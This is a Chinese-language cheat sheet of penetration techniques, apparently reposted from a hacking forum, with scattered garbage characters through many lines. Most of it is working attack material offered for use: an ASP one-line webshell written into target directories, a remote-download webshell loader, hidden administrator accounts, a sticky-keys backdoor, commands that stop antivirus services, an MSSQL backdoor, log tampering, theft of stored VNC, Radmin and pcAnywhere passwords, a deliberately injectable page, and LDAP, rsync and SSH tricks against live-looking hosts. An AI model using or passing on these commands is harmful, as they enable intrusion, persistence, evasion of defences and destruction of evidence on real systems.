渗透技巧总结

admin

旁站路径问题
3 |+ l9 O( `" f4 K% i1、读网站配置。
2、用以下VBS
2 ]+ R( o' \8 z' ~On Error Resume Next
8 F( a7 p( p0 W7 R! j% z7 `If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
" g& L, j( H/ z" y* W        
9 s# C0 m4 |0 M+ v; l/ J
7 J" L' h2 V9 iMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

" q) H. ~; p2 K+ c4 YUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
+ D3 n3 U' F- j2 F0 IEnd If
Set ObjService=GetObject
' q& x! B' F9 M; k
("IIS://LocalHost/W3SVC")
/ u6 X% L2 `9 c4 K. MFor Each obj3w In objservice
9 r3 u+ V* l6 p1 G, W        If IsNumeric(obj3w.Name)
' D- L% A4 \7 i( n
" H; r, C$ A9 s9 ?# eThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
8 G. u- l6 X+ W+ v& }% e7 M4 o         
& o6 @# }+ I) G$ Q1 S+ v( k
" V( _" [: `$ F, s8 m' p7 s- W. m       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

7 Q+ y3 N' c' x) Z5 F<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
- m# {9 u5 w6 a/ N! K     

; p" g8 @2 F7 _2 `% R4 E: _/ s                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
# \7 r* P" L7 R8 J" N! ^- h                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
; f: W5 f  d% a9 y: p) k                Next
! c7 |" y* Q- k/ w: Y3 C" R      
) V5 o& q0 T' i. f" g8 \5 x8 I" ~
7 Z7 n) b4 i1 h0 A3 T         WScript.Echo "ath            : " & VDirObj.Path
5 B/ L  w1 v1 }. W: S        End If
6 u5 h: ?' k2 ]/ s, g  D) F; ]Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
0 ]! d% v" L3 J) x8 K4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
+ E/ K4 J) ?8 {# m+ I3 iWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
  G# }. N* N! S7 V3 d8 d) PphpMyAdmin暴路径办法:
) M0 D) Z9 D) P. e: wphpMyAdmin/libraries/select_lang.lib.php
7 a  {' K1 @$ n7 D, wphpMyAdmin/darkblue_orange/layout.inc.php
5 m6 O+ ?$ l) {& b8 _phpMyAdmin/index.php?lang[]=1
* M; B- B1 W* y1 M" G) j; [phpmyadmin/themes/darkblue_orange/layout.inc.php
5 Z3 m, J4 y( `" j————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
# e1 c! G# s0 w: t  `" FCMD下操作VPN相关
7 p+ ~  s0 V, M- `$ Rnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
/ K. x  h! v- w  g/ ]0 [; vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
! Y+ B# H5 x5 ]4 Pnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
- T, C5 v) P  L然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
# X1 _2 v8 k$ y7 F' L  W# O0 e! u4 ?
; P0 D6 t0 Z1 N另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
8 A+ h; b$ c6 [& r1 kvar o=new ActiveXObject( "Shell.Users" );
1 n1 h! _9 \* s+ [2 v& ^z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

$ o7 H! [  \2 e" h" n% g% I" gvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
& J6 U  X- A$ Q! L/ Jz.changePassword "123456",""
" A4 I" b- [3 X) _! r* z6 ]z.setting("AccountType")=3
——————————————————
+ d4 N: u% y) z3 Rcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

. s/ @4 O, o) S/ T1 Q命令如下
7 ?: x8 W8 s+ a( Vcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
% n8 l% y% h( O' w5 i: A8 K————————以下配合PR更好————
" i3 w2 a6 r: E: J3 R3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
  c2 L% T$ [3 O' x3 c  z' ob、内网环境（LCX）
' {- n/ Y' t" T- j" k& cc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
5 l: u0 p8 _2 u2003 运行mstsc /console   

# ^+ C8 ^, v5 g+ F' p$ ]. t; S杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
9 O4 G; v3 g9 a% g. p1 a; I8 Znet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
! I' g( @5 \4 E% Wnet stop "Symantec Settings Manager" /y
& Y, O. t( }8 @
卖咖啡：net stop "McAfee McShield"
————————————————————
) j9 o, ]. n. K8 a
* I- ~4 D) C( g5 S# t5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
- n7 I7 _8 K5 r! m6 Fcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
# j9 p8 q( l! \3 F3 D: Y( ^. q——————————————————————
$ i9 O- _4 {; u. T# r, _+ L2 q/ K隐藏账号添加：
# L: S/ ^4 `4 Y$ U1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
/ _! F0 B" e0 ~3 F% g2、导出注册表SAM下用户的两个键值
& \( B% Y; @9 B4 c3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
* L$ P" i, w- f; W. {4、利用Hacker Defender把相关用户注册表隐藏
- p% t; x7 S, ]/ e/ n9 P. w——————————————————————
MSSQL扩展后门：
& Q" o: q. P2 i* h, X9 EUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
7 X4 `2 V& k' c7 P" m  {———————————————————————
5 n5 o2 O! N9 F* F6 X2 Z. r日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
4 k' l9 ?' Y# B3 [; {ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
1 m) s. y4 N4 L1 I. w0 |当然可以直接删除ex011120.log / ex011121.log
: N" ], D; C& m6 J3 S: W7 a用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
. X' i+ J/ b" x; A* \! r3 O当停止msftpsvc服务后可直接删除ex011124.log
& f( s6 x' I2 I+ k$ A- ]
MSSQL查询分析器连接记录清除：
8 R, O+ B# m4 p0 n4 [MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
$ _% @6 w% o6 [) ^0 n( A' gMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
2 e( Z4 ^, E# a0 Z
Server\90\Tools\Shell\mru.dat
3 D* W7 B- O) f; [/ T—————————————————————————
: S' @' `5 s( s5 t& y0 d防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
5 H2 v3 Z* |0 tSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
6 Q8 b( t3 P: N' J2 J1 ROn Error Resume Next
6 ?  f2 Q2 N' ?' T* @Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
" `! ], T% D. h; ^/ X6 |8 x( mWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
7 L1 s7 j5 n: |* E( b" oGetRemoteData = .ResponseBody
7 K& w# J/ `( F9 `7 f/ XEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
* g" N! z$ X* A$ ^2 U5 k! WWith Ads
.Type = 1
.Open
, B9 X4 b6 Q9 o* y.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
6 S- t1 _* M$ c$ J.Cancel()
& S% b. S) O: V8 E0 F. n.Close()
End With
Set Ads=nothing
End Sub
5 V" k" C, C; ]+ \: x2 _' E. Y
+ J0 Q2 l& _- f) `eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
% Q. R- G' ^3 i) {9 ]%>
( i7 M" I: R! V
- ^6 }( l  t0 a3 U4 ~4 ~4 y6 R( kVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
- S4 q* e6 y8 h* u注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
$ O4 U4 |# [4 Eregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
9 E0 ^2 n, h$ [; {) {5 i  X" gRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
! C% Y6 v4 `* |+ FHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
! [8 N$ v5 z2 W! T8 k, o然后用HASH版连接。
. z" M8 E6 d: P5 }: Y. z如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
3 z  I; \- y' ^7 hUsers\Application Data\Symantec\pcAnywhere\文件夹下。
+ @$ b2 d" d7 f" l——————————————————————
  c  e9 s* q1 {+ S搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
$ O( Z* |. V! v2 o+ L5 zWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
8 K& o0 H; n$ Y# K来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
- K8 G' y$ t& R7i24的web目录也是可写，权限为administrator。

& T# `( w3 D! Z+ h2 l. Y9 f1433 SA点构建注入点。
% x6 Q" h( J1 Q, r' B<%
strSQLServerName = "服务器ip"
5 z  X$ b; z& {1 ]strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
2 Y/ a6 k0 j) Q4 A/ BstrSQLDBName = "数据库名称"
4 ?8 m4 P. y6 W& q2 B0 w! W# T1 QSet conn = Server.createObject("ADODB.Connection")
/ f5 j$ T. Y: f# TstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
  O0 x( S) d' B& m  k- y" F$ T6 b
7 S0 K9 l9 A4 A% B  V! i";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
+ [8 ?, c. R5 b$ R- e! y
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
  w+ R& Y/ e) L8 X; R4 b3 ^set rs=server.createobject("ADODB.recordset")
  m. m4 Y. }3 z# n" L- Y$ Eid = request("id")
$ a) k  f! X) e, k+ r8 Q  IstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
  M+ ?! K8 R+ f一.ldap渗透技巧
8 j# h' s, c$ l* B* z9 M1.cat /etc/nsswitch
/ a3 k; D" m. F* B! u& O0 @: i/ @看看密码登录策略我们可以看到使用了file ldap模式
! \" l- h2 z( b% G* j$ A
2.less /etc/ldap.conf
% O6 i" I1 ^5 C  N/ Qbase ou=People,dc=unix-center,dc=net
: P* S& n) o* o9 T, Q# @8 t找到ou,dc,dc设置
' V8 R3 k6 H4 o! U8 _
3.查找管理员信息
  d$ f7 e; y- h5 v匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

4 E3 Z' m3 k" G4 ~"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- _8 C  q) P* Z4 @( x0 e有密码形式
: E8 k) k5 i6 r0 J# Vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# S  D/ |  x- n5 @, \/ }' }
8 [3 b9 \3 N9 f( f1 r
8 s) @& C. M3 d& R4.查找10条用户记录
  y, O  x3 ~2 L: a( xldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
; ?  u: q9 R# [, X7 L' K! Q2 M
2.less /etc/ldap.conf
8 l, T- A% Q. _base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
* z" K$ F4 p/ M( @$ ~3 B匿名方式
( D% p" ^2 G/ ^' H2 X) Jldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. u# n, l7 v1 B' Y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
/ @7 T/ Y2 T# `+ I$ @7 n
/ A# n, A& T9 \2 }% ~5 @"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 O5 j4 n0 p. H8 M1 q- O
& z) N4 p% }3 O" P6 c. Z
4.查找10条用户记录
  V8 ~: t9 e8 X! I! cldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
. F! u6 @* Y% e5 w, `1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
* D, t' [, j' z( |. x) C+ G, a$ Uversion: 1
dn: dc=ruc,dc=edu,dc=cn
5 l8 q! y. s9 X8 d- b4 }- udc: ruc
' W4 U( j: S- n6 }5 s& uobjectClass: domain

8 @7 f  e5 ?" _8 r( Bdn: uid=manager,dc=ruc,dc=edu,dc=cn
+ k2 ^8 E0 r/ m2 C  G( e* C& J, D9 Kuid: manager
8 J$ Q# D4 K, U9 q7 H. xobjectClass: inetOrgPerson
' r( s1 l4 t& y6 vobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
* A' Y4 [# Q/ ?% X3 _% t3 E0 Xuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
4 T+ X9 h1 n9 z* X6 e) W0 ?objectClass: person
objectClass: top
sn: superadmin
cn: superadmin
, W$ U. w7 r' L
6 ?& r7 z- n) D6 g7 @: S$ jdn: uid=admin,dc=ruc,dc=edu,dc=cn
+ Q9 u0 |& G5 J$ T* B' uuid: admin
1 @/ u$ \' E9 y1 i  oobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
, x; w% V: }1 [7 F  K; Z/ f9 L" RobjectClass: top
sn: admin
cn: admin
: D6 B4 L0 p, U& r
9 G9 o) i' w7 D& Z) u. \7 {dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
* D% u2 [5 W2 k$ ~' a' Ruid: dcp_anonymous
* g7 q9 i' l1 d, ~# ]objectClass: top
/ m$ {( @; @" ~8 e+ A, JobjectClass: person
7 }9 g3 \; |7 jobjectClass: organizationalPerson
) d0 Z; r  o* b! p5 G2 C5 DobjectClass: inetOrgPerson
# t# `- g# a1 d* b: q! Lsn: dcp_anonymous
3 V7 O9 h* x4 L) w+ l5 @! ?2 ]" Kcn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
" @( L: y, w: ^2 J2 C
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
5 }2 Z& p* S/ V; Q0 Ydc: ruc
objectClass: domain
# I7 A6 r  B: f# G1 A  A0 r2 m
2 W/ ^# f  \9 [# |# ^; j1 n) |3.查找
% V( W6 Y" T$ z& p  abash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
* L: Y6 ?! j5 |4 t* K* B/ Hdn:
objectClass: top
% b( f4 O% T2 K0 P3 T+ knamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
# n6 b8 t" Z, T. ]& G/ v& lsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
( P* Z' g3 ]( y9 h) ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
$ T& `# e& Z- q  ^1 BsupportedExtension: 2.16.840.1.113730.3.5.3
/ H7 M/ Z/ f; z6 `5 J; Z+ FsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
) c  z% S& s  x% K. C) ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
* v8 U7 m9 b1 O: V* fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
$ h5 N5 I8 V3 y8 t5 R' [  G* XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
) H0 }; t% z" P' y6 w1 u' n: VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
2 O, K, w% b( psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
1 \4 y' Y# Z. W, v6 J8 p2 X; d; csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
9 y/ V% p: t6 c, [* E, fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
  q" z" e0 S1 B* H3 o+ P2 |3 BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
. p( L! D# ~! d+ O& R; VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
1 q7 a+ V* l. O6 U7 |9 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
5 B  D. d$ J# {& F# osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
+ v, `9 E8 K# A* r/ M# BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
, t& V& T7 _4 o' K' C( H6 R3 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
6 V8 Z1 X9 T- B, ?. I' m  q  ?supportedExtension: 1.3.6.1.4.1.1466.20037
7 X  B; e1 @0 V4 B' O3 BsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
! O7 |, s  p/ r  S/ J5 k2 FsupportedControl: 2.16.840.1.113730.3.4.9
2 d" F9 b# C9 H7 |4 MsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
1 r; i" c9 r. C3 \6 W+ {& YsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
- h7 n( U. ?8 w/ ]+ BsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
& F0 F; e+ a- O1 s/ Z8 {  wsupportedControl: 2.16.840.1.113730.3.4.12
/ x4 ?) [( ~3 }5 z* isupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
1 p% S1 @1 K( R3 f8 C( q: Q, fsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
0 [: ]' `* z, U  d5 XsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
6 H: V7 ^9 A- |# _. C. QvendorVersion: Sun-Java(tm)-System-Directory/6.2
% e3 n+ ~" }) `; S" s. gdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
0 _1 ]* S% e  W! e7 U. J) V5 c8 h& NsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
( ]. M" y: _0 u& Q$ e" ^% R3 ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
4 ]& P8 F. q* j; OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
4 }$ q, _8 ~! `  u( DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
! C) W& n% P2 y" s: OsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
2 ?3 n$ [( \. ?8 `- hsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
+ l# D0 R6 e& w' L6 p* zsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
6 e$ B, ?# t% W& b- jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. k+ T' z/ E9 n2 a- d# tsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
& ?' y* X0 K+ W" L7 d# W3 BsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
& z) H' v, u/ E. u! E  \" d2 f: ?supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
. d) b# n9 r: |; _! c2 vsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
7 A! p4 C2 B6 n* ZsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0 [7 m2 W4 G" y0 O: h5 UsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
6 ?# f* ?( I; f6 MsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
5 s- t$ p, r6 _  c3 O6 xsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
- y! n% q8 J: c1 bsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
* c  \: z4 h6 J( x5 I- `supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
  {0 G( c/ G9 o, N: {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
, x5 G* Y9 z) L% K% YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
: C) ?: Z! J- L/ C) o! GsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
  |: a  V. b6 c, u% o4 C. P1 UsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
" `. A, |8 {' v6 c! @supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
& H5 X! `# y8 C7 f. F2 }- _* c. T2 nsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
8 C; s% G' ^0 N/ F- D  ]/ Z6 Y————————————
2. NFS渗透技巧
& Y: x- v9 M/ U% k+ r4 D0 Yshowmount -e ip
) l, G# T" m& Q3 O7 S! e# r列举IP
——————
: E' ~! y& Z; \0 x; r0 ?3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
( q  ?0 W% M3 V1 P- H$ q7 h. Timg_finance
% {  @2 W3 I* S" |/ X9 O4 O. fauto
/ a; A' D4 l* W; A0 x- Jimg_auto
% |$ v* U9 m/ H5 Z  yhtml_cms
img_cms
ent_cms
ent_img
ceshi
res_img
  ~8 m! l) J3 [0 U7 r1 Q, Xres_img_c2
/ c4 K+ T2 ?$ z6 F+ hchip
  B0 a' w1 C' v* ]' Fchip_c2
ent_icms
6 u, T8 G! k8 M9 m4 v: ?games
5 ^/ f8 t1 X/ Y& r& |gamesimg
2 ]* q! D1 m" S# y# X" a- c  pmedia
mediaimg
$ m. T; I9 l2 g- R6 w' K( wfashion
# u  ~% c/ N- W, o( \res-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
9 Y* D& K1 P- Q& Z7 D- y; E$ N) ores-home
4 f7 q1 f, q, ~res-edu
res-ent
4 A4 x0 |5 H9 }/ Yres-labs
res-news
res-phtv
  L' O' f( H6 L! t1 V% ~1 ]/ ?res-media
home
edu
news
$ [' m7 q4 a5 {/ D+ O3 p5 nres-book

' g8 l( o; Y# L# q看相应的下级目录(注意一定要在目录后面添加上/)

' U4 u7 M# O# H4 I  G% _! J, @9 G. J$ L
8 ~8 V2 n: C! I2 A, K8 w4 Mrsync 210.51.X.X::htdocs_app/
* j' e1 V4 P- g7 a4 O, qrsync 210.51.X.X::auto/
+ U% Y! y9 V, F, Prsync 210.51.X.X::edu/
9 Y, }* E& }( v8 o9 F" v$ B/ {
2.下载rsync服务器上的配置文件
% _, E7 i% Y2 H- Qrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

; _) s0 O& z8 d6 v3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
, t5 b0 a- [5 f  V7 F: F. o
四.squid渗透技巧
  E: z1 R* J" d1 s6 C0 u% r+ Enc -vv baidu.com 80
' O8 e: r* x/ X, }GET HTTP://www.sina.com / HTTP/1.0
; z  {; D* Q* y/ @$ e, G" [# RGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
0 ]: D* F/ m9 U, zssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
4 ~: w2 k2 V. D& i1 W7 D$ p确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
" y- v: t, [3 X# t0 i+ z
, C9 P9 H3 [9 U5 J重新设置密码
- s6 O: J' ]' x1 hindex.php?option=com_user&view=reset&layout=confirm
